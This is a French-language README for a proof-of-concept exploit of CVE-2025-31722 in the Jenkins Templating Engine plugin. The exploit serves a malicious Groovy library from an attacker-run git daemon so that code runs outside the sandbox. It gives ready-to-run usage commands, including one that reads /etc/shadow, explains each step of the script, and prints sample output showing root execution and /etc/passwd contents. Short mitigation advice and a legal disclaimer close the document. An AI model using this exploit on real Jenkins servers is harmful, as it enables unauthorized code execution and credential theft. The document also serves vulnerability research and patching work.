
Exploit de preuve de concept pour le contournement du bac à sable du plugin Jenkins Templating Engine (CVE-2025-31722) permettant l'exécution de code à distance via l'injection de bibliothèque Groovy malveillante.
À des fins éducatives et de recherche en sécurité autorisées uniquement.
Vulnérabilité de contournement du sandbox dans le plugin Jenkins Templating Engine (JTE) <= 2.5.3 qui permet à un utilisateur peu privilégié d'exécuter du code arbitraire sur le serveur Jenkins.
Le défaut survient parce que JTE charge des bibliothèques à partir d'un dépôt git externe défini dans une configuration GovernanceTier au niveau du dossier et exécute les étapes de ces bibliothèques en dehors du sandbox Groovy, indépendamment du niveau de privilège de l'utilisateur qui a créé le job.
CVSS : 8.8 (Élevé)
Type : Contournement de sandbox → RCE
Composant affecté : plugin pipeline-templating-engine ≤ 2.5.3
Version corrigée : 2.5.4+
Attacker (Kali) Jenkins Server
─────────────── ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins → Folder with GovernanceTier
pointing to git://KALI:9418/… pointing to attacker's repo
4. Creates job with AdHoc template → Job calls evil()
5. Triggers build → JTE clones repo from Kali
Executes evil() outside sandbox
← RCE as Jenkins user
cloudbees-folder, git, workflow-aggregatorattacker avec les permissions : Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit installérequestspip install requests
L'installation sur un serveur Debian/Ubuntu a installé Jenkins, configuré les utilisateurs, les permissions et les plugins requis. Il ne crée aucun contenu malveillant — cela est géré exclusivement par le PoC.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
| Paramètre | Description | Requis |
|---|---|---|
--url | URL de base de Jenkins | Oui |
--user | Utilisateur avec les permissions Item/CREATE+CONFIGURE+BUILD | Oui |
--pass | Mot de passe de l'utilisateur | Oui |
--git-host | IP Kali accessible depuis Jenkins | Oui |
--cmd | Commande à exécuter sur le serveur (par défaut : id && hostname && cat /etc/passwd) | Non |
--cleanup | Supprime le dossier, le job et le dépôt créés par l'exploit | Non |
setup_repo() — Crée ~/jte-exploit/evil-lib/steps/evil.groovy sur Kali avec la commande à exécuterstart_git_daemon() — Démarre git daemon sur Kali sur le port 9418create_folder() — Crée un dossier dans Jenkins avec un GovernanceTier pointant vers git://KALI:9418/jte-exploitcreate_job() — Crée un job avec AdHocTemplateFlowDefinition qui déclare evil-lib et appelle evil()trigger_and_wait() — Déclenche le build et attend le résultatprint_output() — Affiche la sortie console avec le résultat du RCELe démon git reste actif pendant tout le cycle de build et est arrêté automatiquement une fois le build terminé.
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Target : http://10.211.55.10:8080
Git host: 10.211.55.7
Command : id && hostname && cat /etc/passwd
=================================================================
[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued
=================================================================
CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE et Item/CONFIGURE aux seuls utilisateurs de confianceGovernanceTier pointant vers des dépôts externesAvertissement légal : Ce PoC est destiné uniquement à des fins éducatives et à des tests dans des environnements contrôlés. L'utiliser contre des systèmes sans autorisation explicite est illégal.